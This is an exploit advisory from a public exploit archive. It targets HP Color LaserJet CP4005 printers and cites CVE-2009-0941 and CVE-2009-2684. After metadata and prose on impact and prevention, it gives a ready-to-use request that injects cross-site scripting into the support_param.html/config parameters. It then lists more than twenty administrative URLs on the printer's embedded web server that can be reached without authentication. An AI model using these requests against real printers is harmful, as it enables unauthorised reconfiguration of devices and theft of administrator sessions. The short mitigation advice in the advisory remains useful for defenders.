HP Color LaserJet CP4005 Printers 6.7.0.x Auth Bypass XSS

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# Exploit Title : HP Color LaserJet CP4005 Printers 6.7.0.x Authentication Bypass - Cross Site Scripting
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 04/04/2019
# Vendor Homepage : hp.com
# Software Information Link : support.hp.com/gb-en/drivers/selfservice/hp-color-laserjet-cp4005-printer-series/2512208
# Software Version :
Driver-Universal Print Driver for Managed Services => 6.7.0.23989
Driver-Universal Print Driver  => 6.1.0.20062 - 6.7.0.23989
Firmware : 46.230.6
Driver USB : 7.0.0.29
Software Universal Printer Driver : 1.8.6
# Tested On : Windows and Linux
# Category : Hardware
# Exploit Risk : High / Medium
# Common Vulnerability Enumeration :
CVE-2009-0941
CVE-2009-2684
# Vulnerability Type :
CWE-306 [ Missing Authentication for Critical Function ]
CWE-592 [ Authentication Bypass ]
CWE-287 [ Improper Authentication ]
CWE-79   [ Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') ]
CWE-264 [ Permissions, Privileges, and Access Controls ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

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# Description about Software :
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HP LaserJet as a brand name identifies the line of dry electrophotographic DEP laser printers marketed by the American

computer company Hewlett-Packard (HP). The HP LaserJet was the world's first desktop laser printer.

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# Impact :
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Authentication Bypass / Missing Authentication For Critical Function :
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When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.

Remote attackers can edit - delete and access files and administrative access without real administrator permission.

Remote attackers can bypass this because the system doesn't ask admin username and password.

The software does not perform any authentication for functionality that requires a provable user identity

or consumes a significant amount of resources.

The vulnerability allows a remote unauthenticated attacker to send specially crafted HTTP request to the

affected application and change configuration settings or gain administrative access.

Missing authentication for critical function is a language independent issue that can appear in any multiuser environment.

Developing a fix would require understanding of the current application security model and implemented access controls.

Three basic rules however can help you eliminate potential improper authorization issues:

1) Identify all privileged assets within your application (web pages that display sensitive data,
website sections that contain privileged/administrative functionality, etc.)

2) Identify user roles within the application and their access permissions

3) Always check if the user should have privileges to access the asset.

XSS Cross Site Scripting Impact /Prevention :
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HP Color LaserJet CP4005 Printers are prone to a cross-site scripting vulnerability
because it fails to sufficiently sanitize user-supplied data.

A remote user can access the target user's cookies (including authentication cookies),
if any, associated with the HP Printer interface, access data recently submitted by the
target user via web form to the site, or take actions on the site acting as the target user.

Cross-site scripting vulnerability in HP Jetdirect and the Embedded Web Server (EWS)
on certain HP LaserJet and Color LaserJet printers allow remote attackers to
inject arbitrary web script or HTML via the (1) Product_URL or (2) Tech_URL parameter in an
Apply action to the support_param.html/config script.

Prevention of XSS Vulnerability :
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set the administrator password
use a new browser instance for administrator tasks
do not access other web sites while performing administrator tasks
exit the browser when administrator tasks are complete

According to the CVE-2009-0941 =>
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The HP Embedded Web Server (EWS) on HP LaserJet Printers, Edgeline Printers, and Digital Senders
has no management password by default, which makes it easier for remote attackers to obtain access.

According to the CVE-2009-2684 =>
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Multiple cross-site scripting (XSS) vulnerabilities in Jetdirect and the Embedded Web Server (EWS) on
certain HP LaserJet and Color LaserJet printers, and HP Digital Senders, allow remote attackers to
inject arbitrary web script or HTML via the (1) Product_URL or (2) Tech_URL parameter
in an Apply action to the support_param.html/config script.

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XSS Cross Site Scripting Exploit :
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https://[targetipaddress]/support_param.html/config?Admin_Name=&Admin_Phone=&Product_URL=[XSS]&Tech_URL=[XSS]&Apply=Apply

It returns as " /success_result.htm/config "

Configuration Successfully Done.

# Authentication Bypass Exploit / Vulnerability :
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https://[targetipaddress]/hp/device/this.LCDispatcher

https://[targetipaddress]/hp/device/this.LCDispatcher?nav=hp.EmailServer

https://[targetipaddress]/hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=1&lstid=-1

https://[targetipaddress]/hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=3&lstid=1

https://[targetipaddress]/hp/device/this.LCDispatcher?nav=hp.Alerts

https://[targetipaddress]/hp/device/this.LCDispatcher?nav=hp.AutoSend

https://[targetipaddress]/hp/device/this.LCDispatcher?nav=hp.Security&fldPage=0

https://[targetipaddress]/hp/device/this.LCDispatcher?nav=hp.OtherLinks

https://[targetipaddress]/hp/device/this.LCDispatcher?nav=hp.Config

https://[targetipaddress]/hp/device/this.LCDispatcher?nav=hp.DeviceInfoConfig

https://[targetipaddress]/hp/device/Auth/set_config_deviceinfo.htm

https://[targetipaddress]/hp/device/info_configuration.htm

https://[targetipaddress]/hp/jetdirect

https://[targetipaddress]/config_pro.htm
https://[targetipaddress]/tcpipv6.htm
https://[targetipaddress]/tcpipv4.htm

https://[targetipaddress]/tcp_param.htm
https://[targetipaddress]/network_id.htm

https://[targetipaddress]/tcp_summary.htm
https://[targetipaddress]/index_info.htm

https://[targetipaddress]/support_param.html
https://[targetipaddress]/support.htm

https://[targetipaddress]/tcp_diag.htm
https://[targetipaddress]/configpage.htm

https://[targetipaddress]/tcp_param.htm
https://[targetipaddress]/network_id.htm

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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